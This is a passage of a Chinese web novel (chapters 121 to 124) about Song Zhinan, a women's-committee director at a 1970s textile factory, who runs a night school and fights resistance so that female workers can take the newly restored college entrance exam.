李书悦看着宋知南,心中有千言万语,却不知该从何说起,忽然间,她想起了不知在哪本书中看到的一句话:“小宋,我们是人,是人都会有局限性。” 120-130 第121章 时光飞逝, 日月如梭,转眼间就到了1976年的冬天。 今年10月, □□倒台。持续十年的大运动终于结束。政治氛围宽松不少,人们终于不再整天提心吊胆地过日子了。 宋知南现在已经是女工委的主任了,杨主席调到市里去了,贺胜男接替了她之前的工作,宋知南则接了贺主任的位置。 她还记着自己6年前的承诺,打算今年搬出去,她主动找孙副厂长说,她过完春节就搬出去。 孙副厂长现在对宋知南的态度好了许多,见她主动这么说,心里颇有些过意不去,“没事, 你再住一段时间也行。” 宋知南接着说:“我说到做到, 不过, 我也有一个要求,就是我的人可以搬, 但文工队办公室和妇女之家不能搬啊。还有就是, 那么多申请房子的人厂里给谁不给谁?而且他们拖家带口地搬进去住也不方便。我听说咱们厂女工宿舍挺紧张的,不如就把房子改成女职工宿舍算了,放几张上下铺,能住七八个工人。” 孙副厂长听得心中一动,这确实是个办法。 厂里很快就传出来宋知南打算搬回老房子住,她的房子要腾出来改成女工宿舍。 大家议论纷纷:“不得不说,宋主任这人说话算话。说再住6年就是6年, 都不带有一点拖延的。” “可是,之前不是说好要让我们申请的吗?怎么又改成女工宿舍了?” “女工宿舍确实紧张, 改成宿舍也没问题。 “宋主任就是为我们女工着想。” …… 对于宋知南要搬走这事,李群英是万分不舍。 她特意带了饭菜来给宋知南送行,让宋知南意外地是她还带了一瓶酒。 宋知南见李群英心事重重的模样,就感觉可能不止送行这么单纯,就问道:“你有心事?想跟我深聊?” 李群英轻轻点头:“嗯,想跟你好好聊一聊,我憋得难受。” “行。” 天气冷,宋知南决定吃火锅,切些萝卜白菜豆腐再加上肉和丸子,用小锅在炉子上煮着吃。 锅里咕嘟咕嘟冒着热气,两人一边吃菜一边小酌。 李群英喝了两杯酒后,变得健谈起来。 她突然感慨道:“时间过得真快呀,知南,我过完年就34了。” 宋知南道:“34可是个好年纪,身体还好,有智慧有历练,有的人都活不到34。” 李群英笑笑:“你就是会安慰人。这几年托你的福,我的日子好过不少。我爸妈被你劝得通情达理了很多。可是,他们再通情达理也是有限度的。现在我到了一个必须要做出抉择的十字路口。” “又有人给你介绍对象了?” “嗯。” 不用宋知南问,李群英一古脑地说了出来:“这一次不一样,是我亲姨介绍的,她没有坑我,男方完全符合我的要求,长得不丑,甚至还有点好看,无不良嗜好,大学肄业,比我小两岁。因为出身不好,在农场劳改了十年,今年刚平反。” 宋知南倒也不意外,这个年代,这种情况多的是。 “你父母应该很满意吧?” “是的,他们松了一大口气,甚至用恳求的语气跟我说,这次男方完全符合你的要求,你就结了吧,别再让我们操心了,我们也老了,陪不了你多少年,虽然你有哥哥姐姐,但他们各有各的家庭,以后也顾不上你。其实我知道,他们这些年替我承受了很多压力。跟别的父母相比,他们已经够开明了。我现在很矛盾,理智上,我觉得我应该结婚。但是,我对未来总有一种说不清道不明的惶恐不安和抗拒。” “以前我不想结婚是因为没遇到合适的,可是如今不一样了,我考虑得更多更远。你还记得咱们6年前从南郊生产队回来时的对话吗?你说很多女人婚姻不幸福,不是个人的问题,可能是制度的问题。当时被牛阿姨打断了,咱们俩没有深聊。 但从那以后,我也开始观察思考。我越观察越觉得真的可能真的是制度的问题,就是只要你进入这个制度,你就有可能不幸福。就像《红楼梦》大观园里姑娘们的悲剧是封建制度带来的整体性悲剧,无论你有没有才华,能不能干,你都逃脱不了。” 宋知南握着酒杯,也开始沉思起来了。 这个社会把婚姻捧到了一个畸形的高度,在大家的认知中,婚姻高于理想,高于自我实现。 大部分人的人不敢去想象,如果不结婚,他们还能做什么? 他们很多人忘了在婚姻之外,获取幸福的方式还有很多种,每一种可能都比婚姻有更大的成就感。 他们对于女人的评价更是简单粗暴,你嫁得不好,干得再好也没用;你没有传统意义上的家庭,一切都没有意义。 宋知南自己是个坚定的不婚主义者,她不是异性恋也不是同性恋,她是自性恋。她只喜欢自己,无法长久地容忍别人。 可是她并没有去推销自己的观念,也没有鼓动身边所有人都跟她一样终身不婚。这个年代可不像五十年后,单身女人所面临的社会压力非常的大,除非是内心特别强大的人,否则根本支撑不住。 她把不结婚的坏处说给李群英听。 结婚的坏处一大堆,比如会失去自己的空间,会丧失一部分自我,婚姻不仅解决不了自己的困境,还要解决对方和对方全家带来的问题,生育和家务带来的大量的时间经济损失。 至于好处,宋知南想半天也没想到。嗯,可以暂时地堵住人们的议论,获得主流社会的认同吧。 末了,宋知南谨慎地说道:“群英,这是你自己的人生,你自己做决定吧。婚姻只是一种生活状态而已,有了它也不代表成功,没有它,也不代表失败。无论你做什么决定我都支持你。你以后想改变了,我也支持你。” 李群英把杯中的酒一饮而尽:“知南,谢谢你。有你这样的邻居和朋友,是我一生的幸运。” 李群英考虑许久,最终还是决定结婚。李家父母苍老的脸上露出了宽慰的笑容。 大家伙松了一口气的同时又有些不平。 “李群英这么大年纪才嫁人,嫁的竟然不是二婚,男人长得也不丑,还是大学生,真是便宜她了。” “对,她是捡漏。” “男方干嘛不找个更年轻的姑娘呀?” “谁知道呢。” …… 李群英婚后不久就随男方调走了,调到了首都。 这下,亲戚邻居们更不平了。 李群英临走前把自己的书都送给了宋知南,两人执手相看,互相打气鼓励。 “群英同志,你婚后不要被男色迷惑,要好好学习,天天向上。” “噗,请放心,就他那种男色迷惑不了我。知南同志,你要记住你的话,苟富贵,互相旺,记得常跟我写信。” “好。” 李群英依依不舍地告别了父母和众朋友。 很常一段时间内,大家提起她,语气都是酸溜溜的。 宋知南回到屋里,抱着小虎写备忘录:今天又是难忘的一天,跟群英分开了,祝她幸福,祝她顺利。 她翻开笔记本,最近一个难忘的日子是1976年10月7日,□□粉碎。 再往上翻,还有一个更难忘的日子1972年3月8日,她收到了邓大姐的回信,不确定是否亲笔,但终归是她的回信。 信中鼓励她好好学习,努力工作,为女性解放贡献自己的力量。 这封信当时被众人传看,瞻仰。宋知南也被很多人羡慕,很是风光了一阵。 宋知南翻看了一会儿备忘录,开始晚间阅读,这是她每天必做的功课。 读了两小时的书,简单洗漱一下,熄灯睡觉。 日子就这么波澜不惊地过着,很快就到了1977年的春节。今年的春节跟往年不一样,人们脸上的笑容更加灿烂,鞭炮声此起彼伏。 宋知南收到了很多年礼,有王翠花送的瓜子、花生及各种吃食;还有赵桂枝送来的红薯土豆和大白菜。赵桂枝的那个家暴男人早在三年前就去世了,死因是过年时喝醉酒倒在雪地里冻死了。 赵桂枝坚决不改嫁,一个人坚强地撑起了一个家。 每一年,她都要给宋知南送点东西。有时是榆钱窝头咸菜,有时是瓜果蔬菜。 宋知南每次都会回送她一些东西。 牛春草看到赵桂枝后,如此评价道:“你看,我早就说了吧,女人熬死男人后最幸福了。你看看赵桂枝越活越年轻,越活越自在。” 今年春节,宋知南还迎来了一个客人——李书悦。李书悦也平反了,摘掉帽子的那天,她喜极而泣。 宋知南把图书馆的书还给了她。 李书悦紧紧握着宋知南的手说道:“小宋,感激的话太多太多了,我不知道该说哪句好。感谢你这几年来对我和对大家伙的帮助。” “其实我也没做什么。” 她不过是帮他们藏了一些书,并从大伯母那里给他们买了几次药。 李书悦摇头:“不,在你看来可能是小事,但对于我们来说却是性命攸关的大事。比如你前年给老馆长拿的药,医生说他是阶级敌人不给他开药,别人不敢帮他,只有你敢帮他。哦对了,老馆长身体不行了,他女儿也平反了,他没能来亲自向你道谢,这是他女儿家的地址和电话,如果你将来有什么事可以给她写信或打电话,她能帮的一定会尽力帮你。” 宋知南接过了信封,随手放到书包里。 李书悦打开包袱,从里面抖落出一件红色呢子大衣:“你的那件棉袄我穿了好几年,都穿薄了,我就不还你了,正好留下来做个纪念。这件大衣,我觉得特别适合你,它的颜色就跟你这个人一样,红火、热烈、灿烂。我补发了一部分工资,生活不成问题,这件衣裳你一定要收下。” 宋知南考虑片刻,就爽快地收下了,“谢谢李老师,这件衣裳我一看就喜欢。” 李书悦见宋知南收下,心里也挺高兴,她生怕她不收,还要多费口舌。 第二天,宋知南就穿着红色呢子大衣去邮局寄信,虽说时局比前些年宽松了,但人们的穿衣习惯一时还没转变过来。在一众蓝绿海洋中,宋知南那一抹红色特别亮眼。 宋知南早已习惯了人们的目光,神情淡然地穿过人群走到柜台。信是寄给李群英的。 她在信中写道:“自你离开后,你爸妈没了心灵寄托,时不时地来看我,每次都给我带好吃的。我不能替你孝顺他们,但我能替你吃他们。 李老师送了我一件红色大衣,我穿上它,感觉自己像一只浴火的凤凰,别人的怒火烧不死我,我总想反吐一口怒火,烧死一些人和一些破规矩。” 第122章 春节时, 宋知南搬回老房子住。 大家对她这种说搬就搬的做法暗暗佩服,要换了别人, 得是厂里催上几几遍才磨磨唧唧地搬走。 宋知夏提前把宋冬宝以前住的那间屋子给简单粉刷了一下,换上了新窗帘,把房间打扫得干干净净。 姐弟三人和众邻居一起帮忙把宋知南的东西搬回去。 对于宋知南搬回来住这事,宋知夏和宋冬宝是打心眼里欢迎,她毕竟是家里的主心骨和决策人,她这一回去,两人都感觉心里愈发安定踏实。 宋知夏每天好吃好喝地照顾着妹妹,宋冬宝则是变身勤劳乖巧小跟班,抢着干活,时不时地帮宋知南跑腿办事,姐姐长姐姐短的。 那些邻居们看着这样的宋冬宝都有一种严重的割裂感, 有时候他们甚至都忘了宋冬宝曾经那么顽劣过。 这个小宋不愧是干部, 在改造人的世界观和思想方面有着独家本领。 甚至还有人偷偷向她请教技巧。 “你问我技巧?我不瞒你, 战争是通向和平的捷径,对于冬宝这种男孩子, 就是打和哄, 先打服了再哄,一有反复接着打。” 听的人无言以对,讷讷地说:“动手多不好,还是罢了。” 宋知南笑笑不再说话。 宋知南搬回去后,仍密切关注着她原来那栋房子的改建进程,盯着厂里的人把房子改成女工宿舍,女工搬进去住后, 她才放下心。 时局宽松之后,市面上流通的书籍也多了起来。宋知南拿出一些旧书放在妇女之家里面, 她还有意识地把初高中课本放进去,当然看的人并不多。 在家里,她也催促宋知夏有空多看书学习。 宋知夏对妹妹是言听计从,宋冬宝也跟着努力了几次,可惜他一看到书就脑袋疼,犯困,一干别的就恢复了。两人都不勉强他,随他去了。 宋知南觉得自己的影响力还是太小了,妇女之家也太小了,容不下多少人。光一个纺织厂就几千女工。 这些人的学生时代大多是在大运动中度过的,基础相当薄弱。工作后又不学习,等到恢复高考,她们拿什么去考?她不方便提前透漏消息,但能以别的名目让她们学习。 宋知南便把工厂里的小礼堂利用起来,办夜校,每周上三次课,学习文化、财务、法律知识,有时她还会请各车间技术最好的工人上台给大家讲课,财务人员有时间也来讲一讲财务知识。胡记者也被请来上过几次课,工人们一句一个胡老师,让他过足了好为人师的瘾。 宋知南遍请那些有一技之长又好为人师的老工人老干部老教师们,一请一个准。甚至连谈林孙副厂长等人也被请来上课。学生爱学,老师爱教,大家相处得十分融洽。 宋知南何黛章无双三人是常驻讲师,三人轮流上课。夜校学员没有任何限制,只要是纺织厂的工人和家属,谁都可以进来听,甚至外面的人也可以来。 不过,男职工一听夜校是宋知南办的,大多数人都心生抗拒,干脆不来。 宋知南尊重他们的想法,一点都不勉强。 这些男工自己不来就罢了,还反对家属来。 “宋知南就是初中毕业生,她能教你们什么?” 家属白了他一眼:“你是真傻还是假傻?你管她是什么毕业,人家写的文章能上报,人家能挣稿费,你能吗?” 男工:“嘁,我就是没写,我要写了,肯定比她厉害。” “那你倒是写啊,谁拦着你了。你咋不说你就是没吃屎,你要吃了,肯定比屎壳郎厉害。” 男工被怼得灰头灰脸的。 类似的对话发生在很多个家庭里,这些女工多多少少都受了宋知南的影响,都有主见甚至有反骨,你越不让我干啥,我越干啥。 本来刚开始只来了几十人听课,男工们一反对,来的人反而多了。人一多就容易乱,王翠花就过来维持秩序。 王翠花七姨姥姥的儿子调动工作,他们一家搬离了青阳,王翠花家在本地又没法跟着去。她推荐了自己的妹妹跟着一起去。 现在何黛成了妇联主任,妇联又多出一个名额来,宋知南便把王翠花招进了进来,她是厂里职工的家属,经过这几年的学习,水平也够了。 王翠花终于有了正式的编制,现在她在家里的地位又升高一级。马五妮年纪渐大后,性子也没以前那么强势了。她儿子不再当妈宝,转头当起了妻宝。 王翠花跟宋知南何黛两人吐槽道:“我以前总以为男人很厉害很强大,现在一看,好嘛,都是一堆软胚子。遇到事儿就躲,遇到人就靠,靠老娘靠老婆甚至靠闺女。我小闺女才十几岁都比她爸意志坚定。” 王翠花现在说话声音洪亮,目光坚定,体格又健壮,她调解矛盾时,那些男人对她都不禁变得客气起来了。 看着王翠花在妇联如鱼得水,宋知南也很欣慰。薪火相传嘛,她们三个若是都考上了大学,妇联这一摊子交给王翠花再合适不过。 …… 光阴如流水一般匆匆而过,从春到夏再到秋。 10月21日这天,平地起惊雷。 《人民日报》头版头条刊登了恢复高考的消息。 这个消息宛如巨石投入水中,激起层层波澜。人们先是难以置信接着是兴奋、狂喜。 大家奔走相告,热烈讨论。 宋知南当天晚上在夜校的课堂重读了一遍新闻。 女工们争相提问: “宋主任,我们符合报名条件吗?” “你们中的大多数人都符合。” “可我今年25了也可以参加高考吗?” 宋知南喝了一口水,一个一个地回答问题:“上面规定凡是66届以来的初高中毕业生都可以参加,已婚的也可以。领导和家属不得以任何理由阻止你们报名。” “还有我在这里提醒大家,高考中断11年了,这11年来积攒了十多届初高中生,我估计今年的竞争是非常激烈的,大家要安排好时间,抓紧时间复习。你们在行动上要重视它,心理上不要紧张,更不要打退堂鼓,不要还没试就先觉得自己不行,你们不行,别人更不行。好歹你们上过几个月的夜校,别人有这个机会吗?” 大家一想也是啊,宋主任真是把什么话都说了。 宋知南接着说道:“今天就到这里吧,大家赶紧回去找书找资料,尽力找齐全,我这里还有一些资料,明天我让人油印出来,大家传着看。” 大家欢呼雀跃。 宋知南说完这些就准备离开,不想却被热情的女工们给团团围住。 “宋主任……” “宋同志……” …… 五花八门的问题向她涌来。 王翠花有些担心宋知南的嗓子,便大喊一声:“宋主任一个一个地回答太麻烦了,大家把自己的问题写下来交给我,改天宋主任统一回答。” 大家一想也是,这么问下去,问到明天也回答不完。 大家赶紧写下自己的问题交给王翠花。 第二天上班,四个人啥也没干,凑在一起整理纸条上的问题,并把它们归类,然后再挑出最具代表性的问题一一解答。 比如什么人可以报名,高考要怎么复习,要准备哪些资料,如何安排时间等等。 王翠花整理着纸条,突然想起自己妹妹,就赶紧问宋知南她妹妹能不能参加。 宋知南头也不抬地答道:“当然能参加,你赶紧给她发电报,让她赶紧复习。” “行,我中午就去发。对了,我还要给我娘家发电报,让我那些弟弟妹妹们都去试试。” 王翠花刚问完,何黛也见缝插针地问道:“南姐,我们家有几个女孩子也想报名,可是我们家亲戚说,我们都二十好几了,该找对象了,要是一上大学又得耽误四年,毕业后都是大龄青年了。” 宋知南:“记住咱们的名言:不听老人言,快乐几十年;不听亲戚言,幸福几十年。你们可以听听他们是怎么劝你们家那些男孩的,你们就向你们的兄弟学习,他们怎么做你们就怎么做。” 何黛仔细一想,就气笑了:“还真的是,他们劝我堂哥堂弟一定要参加高考,要好好把握住这个来之不易的机会。轮到我们女的就换了一套说辞。” 章无双一边整理问题一边说:“反正我是要参加的,我爸妈也支持我,说对象可以在大学里找。” 说着,她转头问道:“对了,南姐,你肯定要参加的对吧?” “必须要参加,我得起到带头作用。” 王翠花看着三人这么热烈地讨论,不禁有些失落,要是她再年轻几岁,她也要参加。 罢了,把希望寄托在孩子和弟妹身上吧。她大女儿前年刚高中毕业,小女儿和儿子还在读高中,肯定可以参加。 三人花了一整天的时间整理归纳问题,再统一回答,用毛笔写在纸上,再贴到教室的墙上。 晚上七点,是夜校上课的时间。 今天却是个例个,礼堂里人满为患,吵吵嚷嚷的跟菜市场似的。甚至工人之间还发生了争执。 宋知南她们过去一问,才知道这场争执是男工先挑起来的。夜校开课几个月了,这些人几乎没来过,教室里清一色的全是女工。 今天他们呼啦啦一下全来了,来就来了吧,还出言不逊。教室里的椅子不多,他们来得又晚,没地方坐也是情理之中的事情。但他们心里不平衡。 当他们看到有几个女工手里拿着毛衣针,有些人甚至抱着孩子来,他们就出言讥讽道:“教室是学习的地方,不是做针线活和带孩子的地方,你们要不学就回家带孩子做家务去,把位子留给我们要学习的人用。” 那些女工们不乐意了,当下就回怼:“老娘就喜欢一边打毛衣一边听课怎么了?我们宋主任都不说什么,你算老几?” “就是,我们在这里呆了几个月了,你们倒好,一来就轰我们走,怎么这地方是你爸的还是你妈的?” 男工们恼羞成怒:“一群泼妇,无理搅三分。” “你大爷的,你们是泼公,是泼太监。” 双方越吵越激烈。 宋知南她们几个一来,男工就派个代表出来跟她对话:“宋主任,这夜校属于厂里,我们也有权利来上课对吧?” 宋知南态度温和:“你们当然有权利来,但是,就连三岁的小孩都明白先来后到这个规矩,怎么各位不懂吗?” 杠精值660。 男工们被噎了一下,他们还想继续讲道理,有人拦住了,阴阳怪气地说道:“人家宋主任一直都是向着女工说话的,咱们还是向厂里其他领导反应吧。” 这些男工们一想也对,一般来说,厂里领导肯定是向着男工的,只有这个宋知南例外。 这些男工们准备派代表去向厂里反应情况。 这些人一离开,教室里的女工们开始七嘴八舌地议论开了。 “他们明天肯定会去厂里告状。” “告就告呗,反正咱们也没做错。” “就是宋主任会为难。” 大家的目光一齐看向宋知南。 宋知南面带微笑:“大家不用担心我,上面的事我去应付。你们只管好好复习,你们只有50天的复习时间,十分紧迫,要抓紧一切业余时间复习。好了,话不多说,咱们开始上课。” 大家听到宋知南这番话,心里无比踏实安定。 她们就喜欢这种心志坚定又有能耐的领导,就感觉没有什么问题是她解决不了的。 她就像是黑夜里的灯塔,仅仅是伫立在那里,就能为迷路的人引领方向。 第123章 宋知南拖着疲惫的身体回到家里, 宋知夏已经给她准备好了面条,见她一回来就赶紧去煮。宋冬宝很有眼色的擦桌子端小菜。 冒着热气的面条端上来, 宋知南正要开吃,魏芬来串门了。 她见宋知南还在吃饭,有些犹豫要不要进来打扰。 宋知南说道:“魏姐你进来吧,我一边吃一边跟你说话。” 魏芬这才进屋,她一进来就开门见山地说道:“我有个事要问问你的意见,就是我妹妹想参加高考,我爸妈起初没阻拦,可是那些亲戚邻居说我妹二十好几了,该找对象了,大学毕业都奔三十了。而且挺稳定的工作也得辞了,毕业后谁知道会怎样。现在他们又有些犹豫了, 家里正闹呢。我想着你见识多, 就来问问你的意见。” 宋知南笃定地说道:“听我的, 让你妹妹大胆去参加高考。对象可以在大学里找,质量更高;大学毕业后还愁工作吗?国家机关都能进。让你爸妈别听亲戚的, 他们没什么见识, 还见不得你们家好,又蠢又坏又多嘴。” 魏芬笑着说:“不愧是你呀,也只有你才敢这么说。” 他们家有些亲戚确实是蠢坏还多嘴多舌。 魏芬又问道:“你跟知夏也参加高考是吧?” “都参加。” 魏芬本来就支持妹妹多一些,这会儿愈发坚定了,她要坚决站在妹妹这一边。 魏芬离开后不久,何梅也提着一篮子吃的来了。 何梅问的也是高考的事情。 “我一听就觉得是好事,我打算让湘湘和你哥都参加, 但是湘湘在那儿犹犹豫豫的,说自己上学时成绩不好, 怕考不上。” 宋知南说道:“好不好的先试试再说,不要什么也没干就先打退堂鼓。让湘湘姐自信点。” 何梅道:“我也是这么想的。我们隔壁的小张,成绩比湘湘还差,人家就敢考,还说自己一定能考上。” 宋知南找出一份资料让何梅给宋湘带回去。 何梅欢喜地收下了:“你们早点休息,我先回去了。” 送走何梅,宋知南疲倦地打了个哈欠,宋冬宝很有眼色地去打洗脚水,宋知南泡了会儿脚,简单洗漱完毕,上床睡觉。 一连几天,厂里风平浪静。 宋知南觉得不对劲,那帮男职工竟然没有找领导告状,肯定是在憋着大坏招。 宋知南猜得没错,这帮男职工们确实是在憋大招,他们很团结,私下里聚会,最后达成了一个什么协议。 随后,他们就开始行动了。 第一步,他们旗帜鲜明地反对自己的爱人参加高考,说家里不能没人管,说他们需要家庭的全力支持,让她们安心在家带孩子做家务,夜校当然也不必上了。 第二步,他们发动双方父母和亲戚邻居轮番上阵劝说媳妇放弃高考。 第三步,他们向领导请假回去复习,并让领导劝说自己的家属全力支持他们高考。 双方父母亲戚邻居都积极配合,轮番上去劝说,领导们也理解他们的做法,觉得无可厚非。 宋知南听说后气炸了,这真是一个爱男的世界,这些男工们想做点什么,全社会都支持;女工呢,全社会一起反对。她好容易点燃起来的小火苗就要被熄灭了。 宋知南化愤怒为力量,洋洋洒洒地写了三千字的文章,名字就叫做《关于为国家输送人才之基层干部倡议书》,她刷刷几笔签下自己的名字,再啪地一下盖上女工委办公室的章。何黛飞快地浏览一眼,也潇洒地签下自己的名字。 “南姐,我全力支持你的决定。” 次日刚好是周一,谈林通知大家到小会议室开会。 宋知南拿着《倡议书》去了会议室。 谈林照例先说了一通套话,当领导这几年,别的本领他没学好,套话行话学得贼溜。 谈书记讲完,接着是吴厂长和孙副厂长。 宋知南表面上耐心听着,脑子里却在想一会儿该怎么对付他们。 孙副厂长发言完毕,例行问了一句:“你们还有什么要说的吗?” 宋知南腾地一下站起来,朗声道:“我有一些问题要反映。” 大家见怪不怪,因为宋知南总是有很多问题要反映。 孙副厂长点头:“你说吧。” 宋知南的语调铿锵有力:“就在前几天,中断了11年的高考制度恢复了。这是利国利民的大好事。众所周知,大国崛起的关键就在于人才,我们赶英超美的关键也在于人才。我们的民族又一次站在了十字路口,这是数百年未有之大变局,我们必须无条件支持国家的决定,有条件要支持,没条件创造条件也要支持。” 会议室里突然安静下来。 宋知南环视一圈,接着说道:“因此我提议,我们纺织厂的领导班子要做出表率。工人报名参加高考,我们不得阻拦;如遇家属阻拦,我们要好好做思想工作,晓之以理,动之以情,实在不行拿政策和厂规来劝;鉴于复习时间太短,我们要尽可能地给职工提供便利,比如安排好排班时间等等,允许参加高考的职工轮流请假等等。” 宋知南的话还没说完,孙主任先出声反对:“我不赞成小宋的提议。有些女工都成家了有孩子了,还考个啥?考上了难道能带着孩子去上学吗?如果工人随便请假,那咱们工厂还怎么运行?要我说,现在大家的心都乱了,就该好好整治政治,而不是顺着她们来。” 宋知南犀利反问道:“孙主任,成家了就不能考了?成了家的工人就不是人了?上面都说了,各单位领导不得阻拦职工报名,谁阻拦谁就是跟党和国家作对。怎么,你要跟党和国家作对?” 杠精值30。 孙主任赶紧反驳:“你不要给我扣那么大帽子,我可担不起。我是从大局考虑。” “对对,孙主任又没有私心,他是为厂里着想。” “我觉得吧,有些女工你就是让她考,她也未必考得上,费那个劲干啥?” 贺胜男说:“各位,话也不能这么说,职工有上进心那是好事,我们不能随便泼冷水。” 反对声太多太激烈了,把贺胜男的声音都给淹没了。 哐哐两声巨响,宋知南用茶杯砸桌子。 大家终于安静下来。 宋知南啪地一声猛拍了一下桌子,把大家吓了一跳。 孙主席和吴厂长年纪大了,听不得这么大的噪音,两人不由自主地蹙起眉头。 谈林也是一副哭笑不得的模样。 其他人则是暗自瞥嘴翻白眼。 宋知南:“某些同志说什么,反正也不一定考得上,费那个劲干啥?你活着也不一定活到老,难道你就不活了?你不活得好好的吗? 你们那些话负责任吗?高考都中断11年了,我国正面临着巨大的人才缺口,你们不为国家考虑,不为民族的未来考虑,只想着自己怎么减少麻烦。你们不感到惭愧吗?” 杠精值300。 众人面面相觑:不是,你一上来就扣这么大帽子,你让我们怎么说? 宋知南啪地一下甩出《倡议书》:“你们传着看看这份《倡议书》,谁不同意我的意见,我也不勉强,你们要在上面签字说自己不同意,你们得为自己说过的每一句话负责任。以后上面追责,咱们也好有个凭据。” 孙主任反问道:“宋主任,你有这个权力吗?” 宋知南冷笑道:“你忘了我是什么身份了吗?我是女工委主任,女职工委员会主任,这个机构就是专门为女工争取权力的。受教育权就是她们的权力之一。我不替她们支取,谁来争取?我的权力是组织赋予我的,是人民赋予我的,你说我有没有这个权力?” 孙主任带头说:“反正我不签。” 接着,其他人也纷纷说道:“我也不签。” 宋知南微笑:“你们都不签字,那就是同意了。” 孙副厂长一脸无奈:“小宋,你这样做不太妥当吧。”这么霸道强势,对以后的升迁绝对不利。 宋知南知道孙副厂长是什么意思,不过她不在乎:“当官不民为民做主,不如回家卖白薯。我就是这么一个人,就爱为民请命,为众抱薪。” 反正她以后也不打算走仕途,搞政治的心都脏,她这样的人在里面都是干净的。 干完这一票,她就要去上大学,上完大学直接当作家去,天天专业喷人骂人。 大家到底还是没签字,不过宋知南这一举动还是起了效果,至少这些领导们不敢明面上阻挠职工们报名了,家属来找领导给女工做思想工作,大家是能推则推,能躲则躲,不会像之前那样真心实意地劝了。女工们的压力减轻许多。至于夜校的位子,大家各凭本事抢呗。 世上没有不透风的墙,宋知南在会议上说的话很快就传了出来。 女工们十分感动:“宋主任真是个好干部,有她这样的干部是我们大家的福气。” “那宋主任岂不是把领导都给得罪了,以后可怎么办呢?” “我听说宋主任也要参加高考,毕业后职务肯定更高。” “哦,也对。” 妇联办公室接到的有高考引起的家庭纠纷也日趋增多。 有些纠纷,何黛和王翠花她们能解决,有的家属太顽固她们把嘴皮子子说破了也说不通,只能把人推到宋知南这边。 宋知南撸起袖子就上来调解,她通常是晓之以理,动之以利,再给他们进行普法教育。 “你闺女要是考上大学了,你的脸上多有光,你们家也跟着起飞,这样的好事,谁拦谁傻。她婆婆拦也就罢了,你做为亲妈怎么能干出这种糊涂事呢?你看着也不傻呀。” “你就让她们去考个试试,你不知道今年的高考有多难,她们这么多年没学习,你让她们考也未必考得上。考不上,她们也就踏踏实实过日子了。可是你不让她们考,就在她心里留了一个大疙瘩,一辈子都拿这事说事,你说是不是?” 实在劝不动的,宋知南直接拿出一份文件:“上面说了,任何人不得以任何理由阻挠别人参加高考,你非要阻挠,那就在这儿签个字,不识字也没关系,画押就行。你问这是啥意思?没啥意思,我就是留个证据。” 宋知南送走一波人后,忍不住用手指摁太阳穴,头疼。 这世上真是什么人都有,干这份工作让她见识了生物的多样性。 福楼拜是谁说过,大地有其边界,但人类的愚蠢却没有尽头。而她,天天在愚蠢的边界上勘探挖掘,她发疯合情合理,不疯是她自制力强。 宋知南灌了一口凉茶润喉,闭目休息,她现在不想说话,有杠精值也不想赚。 章无双轻轻敲门,“宋主任,这里有你的一封信。” “嗯,放桌上吧。” 章无双也看出来宋知南太累了,什么话也没说就离开了。 宋知南随手拿起信,一看寄信人,立即精神起来了,江茶竟然给她写信了。她挺好奇对方会说些什么。 宋知南飞快地拆开信封,纸上只有短短几句话:宋知南你好,我是江茶,我对你没有恶意,只是想和你见一面。如果你对我、霍峥嵘和顾朝华后来的事有兴趣,请来找我,这个星期天上午人民公园翠湖边见。” 第124章 对于江茶后来的故事, 宋知南略有点兴趣,毕竟是原书女主嘛。 她前段时间听说霍峥嵘失足掉河里淹死了, 顾朝华变成了瞎眼太监,不知道以后会不会有慕残的女孩爱上京圈独眼太监。 她只知道这两人的结局,但不知道这中间的过程。看小说,还是得看细节和过程。 人民公园翠湖是公共场合,对方应该不会拿她怎样,也没办法拿她怎样。 这段时间她被这帮蠢人弄得火大,正好娱乐一下,放松放松心情。 宋知南带着一丝好奇去了翠湖,江茶坐在大柳树下面的石凳上等她。 江茶的变化有点大,以前的她身材苗条,皮肤白皙, 双眼含情带笑。 她比以前健壮了许多, 皮肤也变成了健康的蜜色, 目光沉稳而坚定。 她看到宋知南,站起身, 礼貌地说道:“宋同志, 我就知道你会来。” 她说话的同时也在打量着宋知南。 宋知南坐在她旁边的石墩上,望着平滑如镜的湖面,说:“江茶,我没想到你会主动约见我,我对你有点好奇,所以就来了。” 江茶语气复杂:“我对你也很好奇,一回来就先打听你的消息, 你这几年过得真是风生水起呀。” 宋知南像记者一样向江茶提问:“你这些年过得怎样?你的想法还跟以前一样吗?霍峥嵘是怎么死的?你还恨我吗?” 江茶笑了笑,狡黠地反问道:“我恨你又怎样?不恨你又怎样?” “不怎样, 我就问问。恨我的人挺多的,我也习惯了。” 江茶捡起地上的石子用力往水面扔去,翠湖中央漾起一层层涟漪。 宋知南也扔了个石子打了个漂亮的水漂。 她给自己鼓掌:“真厉害,我又进步了。” 江茶无语地看着宋知南。 她手里把玩着一颗石子,“宋知南,其实刚开始我是恨你的,恨你恨得夜不能寐。我觉得我遭受的一切苦难都是你造成的。后来经过一些朋友和老师的开导,再加上我自己读了很多书,经历了很多事,我慢慢地释然了放下了。没错,你是坑了我,但我也坑过你,我们大体上扯平了。我不能时刻生活过去的仇恨当中。 我虽然不恨你了,但你这个人,你说的一些话仍时不时地出现在我的脑海里,甚至后来有段时间,我还要用你的话来鼓励我自己,你说可笑不可笑?” 宋知南摇头:“不可笑,因为我本来就是想帮你的。你知道有一个成语叫当头棒喝吗?你知道这世上最了解你的人是谁吗?是我。 当时你中霍峥嵘的毒太深了,唯有我这样当头棒喝,你才能看清真相,找回自我。现在的你像一棵独立生长的树,你不再像藤蔓一样,终日缠绕在霍峥嵘身上。” 江茶对此不置可否,她默然半晌,说道:“我想跟你聊一聊我这几年的经历,你愿意听吗?不愿意听就算了。” 宋知南点头:“我当然愿意听,我今天就是来听故事的。” 宋知南带着江茶走到换了个有阳光的地方,“这个地方挺好,你就在这儿说吧。” 江茶的声音悦耳好听,娓娓道来:“我跟霍峥嵘到他的家乡插队,我本来是要去内蒙的,是他爸非让我去照顾他。他觉得霍峥嵘走到这一步,我有很大的过错。我起初觉得没有什么,反正到哪儿插队都是插,而且那个地方毕竟是霍峥嵘的家乡,霍峥嵘曾不止一次跟我描述他家乡的美丽,老乡们的淳朴善良,老家女人的贤惠无私。我以为,我们去那里会受到一些关照。” “可是,我想错了。以前,他老家的人对他充满善意是因为他爸有本事。那些人乐意对他展现自己最善良的一面。 他爸一倒下,那些人的真实嘴脸就露出来了。他们对他冷讽热嘲、疯狂打压。连他亲叔伯堂兄弟都笑话他。说他以前总是高高在上,如今落到这一步纯属活该。 霍峥嵘从高处跌到低处,本来就难以接爱这巨大的落差,再加上这些人的打击和嘲笑,他真的得精神病了。” 